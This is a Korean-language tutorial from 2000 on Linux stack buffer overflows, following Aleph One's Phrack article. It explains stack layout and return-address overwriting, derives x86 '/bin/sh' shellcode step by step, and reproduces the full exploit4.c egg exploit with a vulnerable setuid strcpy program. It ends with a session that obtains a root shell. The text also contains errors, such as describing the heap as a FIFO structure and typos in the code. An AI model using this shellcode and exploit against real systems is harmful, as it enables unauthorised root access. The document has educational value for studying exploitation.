/*-------------------------------------------------------------------*/ /* Buffer Overflow */ /*-------------------------------------------------------------------*/ /* Written by Laks Bluesky */ /*-------------------------------------------------------------------*/ /* Document Version : (0.9).06.01.2000 */ /*********************************************************************/ 0. 시작하기 전에 ** 이 글은 GNU 정신에 따라 자유롭게 배포될 수 있지만, 작성자 표기는 반 드시 lb0gspm 으로 해 주셔야 합니다. ** 이 글을 정상적으로 읽기 위해선 C 언어를 알아야 하며, 꼭 필요하진 않 지만 GNU Debuger 를 사용할 줄 알면 편리합니다. ** 글의 내용이 많으므로, 되도록 프린트해서 보실것을 권장합니다. ** phrack 49-14호( aleph 1 )와 security.kaist( 서의성 )을 참고 하였습니 다. ** 이 문서는 Linux 를 기준으로 작성되었습니다. 1. 시작하며 나는 지난 몇개월동안 Buffer Overflow라는 것에 대해 상당한 공포심을 갖고 있었다. 그 이유인즉, 내가 어셈블리를 전혀 모른다는것이 그 원인이였다. 그렇다. 분명히 Buffer Overflow를 일으키기 위해서는 어셈블리가 사용된다. 하지만 이 글을 쓰고 있는 지금 이순간에도, 나는 어셈블리를 할 줄 모른다. 어셈블리도 못하는 사람이 어떻게 Buffer Overflow에 대한 강좌를 쓰냐고 반 문할 지 모르겠다. 물론 나도 동감이다. 어셈블리를 모르고서는 Buffer Over flow를 완벽하게 설명할 수 없다. 이 강좌도 마찮가지로 Buffer Overflow 의 모든것을 설명해 주지는 못한다. 하지만 한가지 확실한 것은, 이 문서가 앞 으로 계속해서 업데이트 될 예정이며, 업데이트를 거듭하면서 Buffer Overfl ow를 설명하는 최상의 강좌로 탈바꿈하게 될 것이다. 지금 0.9 버젼은, 단순 히 그 기초를 다지는것에 불과하다는 것을 알아두기 바란다. 흔히들, Buffer Overflow를 알기 위해선 Phrack 49-14호를 읽으라고 말한다. 나도 또한 그런 소리를 수도 없이 들어왔고, 그 어려운 영문서를 몇번이고 다시 읽었다. 어셈블리를 모르는 나에게 있어서 Phrack 49-14호를 완전히 이 해하는것은 거의 고문이였다. 하지만 반복에 반복을 거듭한 끝에, Phrack 49 -14호의 작성자인 Aleph 1 의 의도를 알 수 있게 되었다. 비록 Buffer Overf low의 모든것을 알지는 못하지만 작은 지식으로나마 이 강좌를 씀으로써, Bu ffer Overflow를 두려워하는 사람들을 도와주고 싶을 따름이다. 2. Buffer란 무엇인가? Buffer란, 일종의 임시 기억장소이다. 데이터가 잠시동안 저장되는 공간을 버퍼라 하는데, 버퍼에는 두가지 종류가 있다. Stack 은, 흔히 FILO 구조라 한다. 즉, First In, Last Out. 다시 말하면 처 음 들어간게 마지막에 나온다는 뜻이다. 이 말이 무슨말인지를 이해하려면 높게 쌓아 올린 100원짜리 동전들을 생각하면 쉽다. 제일 바닥에 있는 동전 은 제일 처음 쌓기 시작한 동전이겠지만, 탑을 다 쌓고 나서 그 동전을 사용 하기 위해서는 위에 쌓아올린 동전을을 모두 사용해야 제일 마지막으로 그 동전을 사용할 수 있다. 스택이란 바로 이런식의 데이터 구조를 가진다. 제 일 처음 들어간 데이터가 제일 밑에 위치하고, 그 다음 들어간 데이터가 그 위에 위치하게 된다. 이런식으로 데이터들이 차곡 차곡 쌓이게 된다. 이번엔 반대로 그 데이터들을 꺼내는 경우를 생각해 보자. 우선 제일 마지막에 들어 간 데이터, 즉 제일 위쪽에 있는 데이터를 꺼내야만 그 아래에 있는 데이터 를 꺼낼 수 있게 된다. 그리고 그 데이터를 꺼내야만 또 그 아래에 있는 데 이터를 꺼낼 수 있게 된다. 이런식으로 제일 처음 들어간 데이터를 꺼내기 위해서는 나중에 들어간 데이터들을 모두 꺼낸 뒤에, 비로소 제일 마지막으 로 처음에 들어간 데이터를 꺼낼 수 있는 것이다. Heap 은, 흔히 FIFO 구조라 한다. 즉, First In, First Out. 다시 말하면 처 음 들어간게 처음에 나온다는 뜻이다. 이 말이 무슨 말인지를 이해하려면 양 옆이 뚫려있는 파이프를 생각하면 쉽다. 파이프의 한쪽 구멍을 들어가는 문, 반대쪽 구멍을 나오는 문이라 할때, 들어가는 문에 동전을 계속해서 집어 넣 으면 언젠가는 파이프가 꽉 차게 되고, 그렇게 되면 제일 처음 들어갔던 동 전은 나오는 문을 통해 밖으로 빠져나오게 된다. 즉, 제일 먼저 들어간 동전 이 제일 먼저 나온다는 말이다. 힙은, 이런식으로 먼저 들어간 데이터가 먼 저 나오는 데이터 구조이다. 버퍼에 이 두가지 종류가 있듯이, 버퍼 오버플로우에도 두가지 종류가 있다. 이미 눈채 챘겠지만, 스택 오버플로우와 힙 오버플로우가 그것이다. 그리고 우리가 흔히 "Buffer Overflow"라고 부르는 것은 스택 오버플로우를 말한다. 앞으로는 스택 오버플로우와 힙 오버플로우를 구분하기 위해, "Buffer Overf low" 라는 단어를 되도록이면 사용하지 않겠다. 3. Process 의 구조 유닉스 계열의 OS 에서 한 프로세스를 실행시키면, 그 프로세스는 다음과 같 은 구조로 메모리에 읽혀지게 된다. /-------------------------/ 메모리상에서 | | 높은 구역 | Stack | | | /-------------------------/ | | | Heap | | | /-------------------------/ | | | Data | | | /-------------------------/ | | | Text | | | 메모리상에서 /-------------------------/ 낮은 구역 Text 는, 메모리상에서 가장 낮은 구역에 위치하는 부분으로, 프로그램의 본 채라 할 수 있다. 보통 실행 코드들의 집합과 읽기만 가능한 데이터들이 들 어가게 된다. Data 는, Text 구역 바로 위에 위치하는 곳으로써, 프로그램에서 사용되는 변수값들을 저장하게 된다. Heap 은, 정돈되어 있지 않은 메모상의 공간으로, 목적이 정해지지 않은 공 간이다. Stack 은, 유닉스용 프로그램이 대부분 C 언어로 작성되어 있기 때문에 만들 어진 구역으로, 메모리상에서 가장 위쪽에 위치하게 된다. C 언어에서 한 함 수를 호출할때, 그 함수 내부에서 사용되는 지역변수나 그 밖에 값들을 저장 하게 된다. Text, Data, Heap 구역을 모두 이해할 필요는 없다. 오히려 그러한 구역은 우리가 알아야할 범위를 벗어난다. 우리가 반드시 알아야 할 것은, Stack 영 역이다. C 언어에서 함수를 호출할때 그 함수를 위한 공간이 바로 Stack 에 생성되는 것이다. Stack Overflow는 이 부분을 조작함으로써 발생시킬 수 있 는 해킹기법인 것이다. 그러면 함수가 호출될 때, Stack 에는 정확히 어떤 형태의 구조가 생성되는 지 알아보도록 하자. 4. Stack 의 구조와 Stack Overflow 의 원리 자, 다음의 소스코드를 보자. -- 소스 1. what-is-stack.c void function( int a, int b, int c ) { char buffer1[5]; chat buffer2[10]; } int main( void ) { function( 1, 2, 3 ); } -- 이 소스 코드에는 아무런 기능도 하지 않고, 그저 변수만 할당해 주는 함수 가 포함되어 있다. 그 함수가 Stack 영역에 생성되는 구조를 확인하려면 이 소스 코드의 어셈블리 코드를 봐야만 한다. 하지만 아까도 말했듯이 나는 어 셈블리를 할 줄 모른다. 따라서 어셈블리 코드를 봐도 어떤 구조인지 확인할 수 없다. 혹시 이 글을 보는 독자중, 어셈블리를 아는 독자를 위해, 이 소스 코드의 어셈블리 코드를 얻는 방법을 알려주겠다. -- 참고 1. C 언어 소스로부터 어셈블리 코드를 얻기 프롬프트에서 다음과 같은 명령으로 소스를 컴파일한다. $ gcc -S -o what-is-stack.s what-is-stack.c 자, 이제 what-is-stack.s 의 내용을 살펴보면 what-is-stack.c 의 어셈블리 코드가 들어있음을 확인할 수 있다. -- 어셈블리 코드가 어찌되었건, 위의 예제에서 function() 은 Stack 영역에 다 음과 같은 형태로 위치하게 된다. -- 참고 2. function() 이 Stack 구역에 위치하는 구조 메모리상에서 메모리상에서 낮은 구역 높은 구역 buffer2 buffer1 sfp ret c b a [ ][ ][ ][ ][ ][ ][ ] 스택상에서 스택상에서 높은 구역 낮은 구역 * buffer1, buffer2 : 소스코드에서 buffer1[5] 를 먼저 선언하고, 그 뒤에 buffer2[10] 을 선언했음을 기억하라. 그렇다면 스택 의 특징에 따라서 buffer2[10]이 buffer1[5] 보다 아 래쪽에 위치하게 된다. * sfp : 이 값은 어셈블리와 관계되는 부분이다. 다시한번 말하지만 나는 어셈블리를 할 줄 모른다. 하지만, sfp 가 메모리상에서 4byte 의 용량을 차지한다는 것은 알아두기 바란다. * ret : 바로 이 값이 키포인트이다. 지금 보여지고 있는 그림은 function () 이라는 함수의 스택 영역인데, 이 함수의 실행이 끝난 다음에 는 ret 이 가르키는 함수를 실행하게 된다. 다시말해서 ret 는 바 도 다음에 실행될 함수의 주소이다. ret 값도 메모리상에서는 4by te의 크기이다. * c, b, a : function() 의 인자가 ( int a, int b, int c ) 였던 것을 기억 하라. 그렇다면 스택의 특징에 따라서 역순으로 스택에 위치하 게 된다. 이렇게 되면 첫번째 인자인 int a 를 제일 먼저 참조 할 수 있게 된다. -- 메모리상에서 높은 구역에 있다는 말은 곧, 스택만으로 보면 스택의 윗부분 에 있다는 뜻이 된다. 스택은 나중에 들어간 데이터가 제일 위에 위치한다는 것을 기억하라. 즉, 위에서 function() 의 구조는 지역변수인 buffer2 가 제 일 먼저 들어가고, 역시 지역변수인 buffer1 이 그 다음 들어가고.. 이러한 순서가 된다. 따라서 만약 사용자가 buffer2 에 어떤 값을 입력하게 된다면, 역시 스택의 낮은 구역부터 시작하여 스택의 높은 구역으로 차례차례 채워지 게 된다. 그렇다면 buffer2 에 원래 할당된 10바이트가 넘는 값을 입력하게 된다면 넘치는 값은 역시 스택에 채워지게 되어 buffer1 의 영역을 침범하게 된다. 만일 buffer2 에 15바이트를 입력했다면 buffer2 에 원래 할당된 크기 인 10바이트가 채워지고, 나머지 5바이트는 buffer1 에 채워지게 되는 것이 다. 만일 이러한 식으로 buffer2 에 엄청나게 긴 값을 넣는다면 어떻게 될까 . buffer2 를 꽉 채우고, buffer1 도 꽉 채운뒤, sfp 를 침범하고, 그 뒤에 ret 을 침범하게 된다. 심지어 c, b, a 부분까지 침범할 수도 있다. 중요한 사실은, buffer2 에 긴 값을 채움으로써 ret 부분에 접근할 수 있다는 것이 다. 만일 이 프로그램의 실행파일에 루트의 소유로 setuid 가 붙어있다면, ret 값을 수정함으로써 루트 권한으로 다른 프로그램을 실행 시킬 수 있게된 다. 바로 이것이 Stack Overflow 의 골자이다. 자, 다음 단원으로 넘어가기 전에 참고 2 를 다시한번 살펴보도록 하자. 5. Segmentation fault 메세지와 Stack Overflow 의 과정 자, 다음의 소스코드를 보자. -- 소스 3. sof-test1.c void function( char *str ) { char buffer[16]; str( buffer, str ); } int main( void ) { char string[256]; int i; for( i = 0 ; i < 255 ; i++ ) string[i] = 'A'; function( string ) } -- 이 프로그램에는 분명히 문제가 있다. main() 의 지역변수인 string 에 256 바이트의 문자를 채운뒤, 그것을 function() 의 지역변수인 buffer 에 대입 하는 프로그램이다. 그런데 문제는 string 과 buffer 의 크기가 다르다는데 있다. string 은 256바이트인데 반해, buffer 는 16바이트에 불과한 것이다. 자, 이 프로그램에서 function() 함수의 Stack 영역을 살펴보자. -- 참고 3. function() 이 Stack 구역에 위치하는 구조 메모리상에서 메모리상에서 낮은 구역 높은 구역 buffer sfp ret *str [ ][ ][ ][ ] 스택상에서 스택상에서 높은 구역 낮은 구역 -- 자, 이것이 function() 함수의 실체이다. 위의 소스 코드에서 보면, str 에 255개의 'A' 를 넣은것을 알 수 있다. 그리고 str 을 buffer 에 복사해 넣었 다. 그런데 buffer 는 16바이트만을 할당받았다. 따라서 원래 255개의 'A'중 16개는 buffer 에 복사된다. 그러면 나머지 239 개의 'A'는 모두 어디로 가 는가? buffer 의 영역을 넘어서 sfp 를 침범하게 된다. 이로써 네개의 'A'는 sfp 에 들어갔다. 그래도 아직 235 개의 'A' 가 남는다. 이것들은 sfp 의 영 역을 넘어서 ret 을 침범하게 된다. 이로써 네개의 'A' 는 ret 에 들어갔다. 하지만 아직도 231 개의 'A' 가 남는다. 이것들은 ret 의 영역을 넘어서 다 시 자기 자신, 즉 str 의 영역까지 침범하게 된다! 남은 231개의 'A'가 어찌 되었건 우리가 여기서 주목해야 할 사실이 있다. 바로 ret 값이 변경되었다 는 점이다. 기존에 있던 ret 값을 'A' 가 overwrite해 버린 것이다. 이러한 의미에서, Stack Overflow를 Stack Overwrite라고 하기도 한다. 다음은 이런 과정을 끝마친 뒤에 function() 의 모습이다. -- 참고 4. Overflow( Overwrite )된 function() 의 Stack 구조 메모리상에서 메모리상에서 낮은 구역 높은 구역 buffer sfp ret *str [AAAAAAAAAAAAA][AAAA][AAAA][AAAAAAAAAAAAAAAAAAAA] 스택상에서 스택상에서 높은 구역 낮은 구역 -- 자, ret 값이 'AAAA'로 변경되었다. 그런데 'A' 는 16진수로 0x41 이다. 따 라서 지금의 ret 값은 0x41414141 이 되는 것이다. 그러면 function() 함수 의 실행이 끝난 뒤에는 0x41414141 의 위치에 있는 코드를 실행하게 되는데, 0x41414141 에는 어떤 값이 들어가 있을지는 아무도 모른다. 만일 그 위치에 실행할 수 없는 코드가 들어 있다면, 커널은 "실행하지도 못하는 걸 실행하 라고?" 하면서 불평을 하게 된다. 이러한 불평이 Segmentation fault 라는 에러메세지가 되는 것이다. 그러면 지금까지의 설명을 통해 Stack Overflow가 어떠한 과정으로 이루어지 는가를 정리해 보면 다음과 같다. -- 참고 5. Stack Overflow 의 과정 1단계 : 함수의 지역변수 부분에 아주 긴 데이터를 입력함으로써, ret 의 위 치까지 도달한다. 2단계 : 메모리의 어딘가에 실행시키고 싶은 코드를 써 넣는다. 3단계 : ret 에 실행시키고 싶은 코드가 위치하고 있는 주소를 써 넣는다. -- 6. Shell code 의 개념과 생성법 Stack Overflow의 과정중 2단계에서 실행시키고 싶은 코드를 써 넣는다고 하 였는데, 우리가 공략하고자 하는 프로그램이 루트 소유의 setuid 라면, 실행 시키고 싶은 코드 부분에 쉘을 실행하는 코드를 써 넣음으로써 루트 권한의 쉘을 얻을 수 있다. 쉘을 실행하는 코드를 쉘코드라 하는데, 쉘코드는 컴퓨 터가 이해할 수 있는 기계어라야만 실행 가능한 코드가 된다. 그러면, 쉘코 드는 어떤 식으로 만들어지는지 알아보자. 자, 다음 소스를 보자. -- 소스 4. shell.c #include int main( void ) { char *name[2]; name[0] = "/bin/bash"; name[1] = NULL; execvp( name[0], name ); } -- 이 소스를 컴파일한 뒤 실행시키면, 우리의 예상대로 쉘이 실행되게 된다. 그렇다면 이 프로그램의 기계어 부분이 우리가 원하는 쉘코드가 되는 것이다 . 그러면 직접 이 프로그램의 기계어를 살펴보자. 다음과 같은 명령을 통해 이 프로그램의 기계어를 확인할 수 있다. -- 참고 6. shell.c 의 기계어 우선, 컴파일시 특별한 옵션을 주어야 한다. $ gcc -ggdb -static -o shell shell.c 이렇게 해서 shell 을 만들어 냈으면, 이제 GNU Debuger 를 이용하여 이 프 로그램을 분석해야 한다. $ gdb shell 이렇게 실행시키면 메세지와 함께 다음의 프롬프트가 나타난다. (gdb) _ 여기서 disassemble 명령을 이용하여 main() 부분을 역어셈블 해 본다. 하지 만 걱정하지는 말라. 어셈블리를 몰라도 상관 없는 부분일 뿐이다. (gdb) disassemble main 그러면 다음과 같은 복잡한 출력이 나타난다. Dump of assembler code for function main: 0x8048198
: pushl %ebp 0x8048199 : movl %esp,%ebp 0x804819b : subl $0x8,%esp 0x804819e : movl $0x806f5c8,0xfffffff8(%ebp) 0x80481a5 : movl $0x0,0xfffffffc(%ebp) 0x80481ac : leal 0xfffffff8(%ebp),%eax 0x80481af : pushl %eax 0x80481b0 : movl 0xfffffff8(%ebp),%eax 0x80481b3 : pushl %eax 0x80481b4 : call 0x804ba20 0x80481b9 : addl $0x8,%esp 0x80481bc : leave 0x80481bd : ret End of assembler dump. 모두 어셈블리 코드라서 뭐가 뭔지 잘은 모르겠지만, 0x80481b4 문장을 보면 execvp() 함수를 call 을 통해 호출한 것을 알 수 있다. 그러면 execvp() 함 수도 다음과 같이 disassemble 해 보자. (gdb) disassemble execvp 그러면 역시 굉장히 복잡한 출력이 나타난다. Dump of assembler code for function execvp: 0x804ba20 : pushl %ebp 0x804ba21 : movl %esp,%ebp 0x804ba23 : subl $0xc,%esp 0x804ba26 : pushl %edi 0x804ba27 : pushl %esi 0x804ba28 : pushl %ebx 0x804ba29 : movl $0x0,0xfffffffc(%ebp) 0x804ba30 : movl 0x8(%ebp),%eax 0x804ba33 : cmpb $0x0,(%eax) 0x804ba36 : jne 0x804ba48 0x804ba38 : call 0x804bf24 <__errno_location> 0x804ba3d : movl $0x2,(%eax) 0x804ba43 : jmp 0x804bb93 0x804ba48 : pushl $0x2f 0x804ba4a : movl 0x8(%ebp),%ecx 0x804ba4d : pushl %ecx 0x804ba4e : call 0x804d6c0 0x804ba53 : movl %eax,%edx 0x804ba55 : addl $0x8,%esp 0x804ba58 : testl %edx,%edx 0x804ba5a : je 0x804ba70 0x804ba5c : movl 0xc(%ebp),%edx ---Type to continue, or q to quit--- 우리는 이렇게 긴 코드중에서 실제로 우리에게 필요한 부분만을 골라내야 한 다. 하지만 이런 출력들을 모두 다 이해할 필요는 없다. 우리가 해야 할 일 을 Phrack 49-14호에서 대신 해 주고 있기 때문이다. Phrack 49-14호에 따르 면, 이렇게 긴 코드중 우리에게 꼭 필요한 코드는 단 몇줄로 요약된다. jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes -- 자, 이제 쉘을 실행시키는데 꼭 필요한 몇줄의 어셈블리 코드를 얻었다. 이 제 우리가 할 일은 이 어셈블리 코드를 16진수의 기계어 코드로 변환하는 것 이다. 그 방법은 아주 간단하다. 다음의 소스를 보자. -- 소스 5. shellcode.c int main( void ) { __asm__( " jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes " ); } -- 이것은 인-라인 어셈블리를 이용하여 C 언어에서 어셈블리 코드를 사용한 것 이다. 이제 이 프로그램을 컴파일 시켜보자. -- 참고 7. shellcode.c 에서 기계어를 추출하는 방법 다음과 같은 명령어로 shellcode.c 를 컴파일한다. $ gcc -ggdb -static -o shellcode shellcode.c 다음 gdb 를 이용하여 shellcode 의 main() 부분을 역어셈블 시킨다. $ gdb shellcode (gdb) disassemble main 그러면 다음과 같은 코드를 얻을 수 있다. Dump of assembler code for function main: 0x8048198
: pushl %ebp 0x804819b : jmp 0x80481c3 0x804819d : popl %esi 0x804819e : movl %esi,0x8(%esi) ......( 이하 생략 ) 우리는 여기서 main() 부분의 시작위치를 알 수 있다. 그러면 gdb 의 명령어 중, 16진수 기계어를 출력하는 명령어인 x/xb 를 이용하여 우리가 원하는 기 계어를 만들어 낼 수 있다. (gdb) x/xb main 0x8048198 : 0xeb 일단 x/xb 에 main 의 위치를 알려주기만 하면 그 뒤로는 엔터를 입력할 때 마다 해당 라인의 16진수 코드가 출력되게 된다. (gdb) [ENTER] 0x8048199 : 0x2a (gdb) [ENTER] 0x804819a : 0x5e ....( 이하 생략 ) 이러한 식으로 main() 이 끝나는 부분까지 16진수 코드를 얻을 수 있다. -- 자, 드디어 쉘코드를 얻었다. i686/Linux 에서 이런식으로 쉘코드를 생성한 결과 다음과 같은 쉘코드를 얻을 수 있었다. \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00 \x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80 \xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff \xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3 하지만 이것을 쉘코드로 사용하는데에는 문제가 있다. 쉘코드는 보통 다음 과 같이 선언된다. char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; 그런데 char 형 변수에서는 변수의 내용을 읽는 도중 \x00 을 만나면 문자열 의 끝으로 인식해 버릴수도 있는것이다. 그래서 위의 쉘코드중 \x00 을 제거 한 부분이 다음과 같다. char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh" 자, 이제 성공적으로 쉘 코드를 얻었으니 이 쉘코드가 실제로 쉘을 실행시키 는지 테스트를 해 볼 필요가 있다. -- 소스 6. shelltest.c char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; int main( void ) { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } -- 이 소스 코드는 ret 값을 shellcode 의 시작 주소로 변경하는 역할을 한다. 정상적으로 컴파일시켜 실행하면, 아마 쉘이 실행되는 것을 확인할 수 있을 것이다. 7. shellcode 의 주소를 ret 에 설정하는 법 자, 드디어 지루한 어셈블리가 끝나고 마지막 난제에 부딫쳤다. 바로 shellc ode 의 위치를 ret 에 집어넣는 방법에 관한 문제인데, 0.9 버젼의 본 문서 에서는 이 부분은 다루지 않는다. 따라서 이 부분은 phrack 49-14호를 인용 한다. -- 소스 7. exploit.c ( phrack 49-14호 인용, exploit4.c ) #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } -- 이 소스 코드는 Stack 구역의 위치를 계산하여 새로운 쉘을 실행한다. 옵션 으로는 사용자가 임의로 buffer size와 offset을 설정할 수 있도록 하였는다. 그리고 RET 라는 환경변수에 쉘코드를 저장함으로써, 어떤 프로그램을 실행 시킬 때, 인자로 $RET 를 주면 자동으로 쉘코드가 들어가도록 하였다. 이 문 서의 다음 버젼에서는 이 프로그램에 주석을 달아 분석하기가 용이하도록 하 겠다. 8. Stack Overflow 의 예 다음 소스는 Stack Overflow가 가능한 프로그램의 예이다. -- 소스 8. vulnerable.c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } -- 자, vulnerable.c 를 컴파일하고, root 소유의 setuid 를 걸어보자. 그리고 일반 계정으로 로그인하면 위의 exploit 을 이용하여 다음과 같은 과정으로 Stack Overflow를 일으킬 수 있다. -- 참고 8. Stack Overflow의 예 $ ./exploit Using address: 0xbffff900 $ ./vulnerable $RET 갇�염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염? 갇�염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염? 갇�염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염? Segmentation fault $ exit exit $ ./exploit 768 Using address: 0xbffffdb0 $ ./vulnerable $RET 갇�염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염? 갇�염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염? 갇�염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염? bash# -- 9. Next Version of this Document 이 문서의 다음 버젼에는 다음과 같은 사항이 개선된다. - 오타 정정 - exploit.c 주석처리 - 쉘 코드 생성법 부연설명 /*********************************************************************/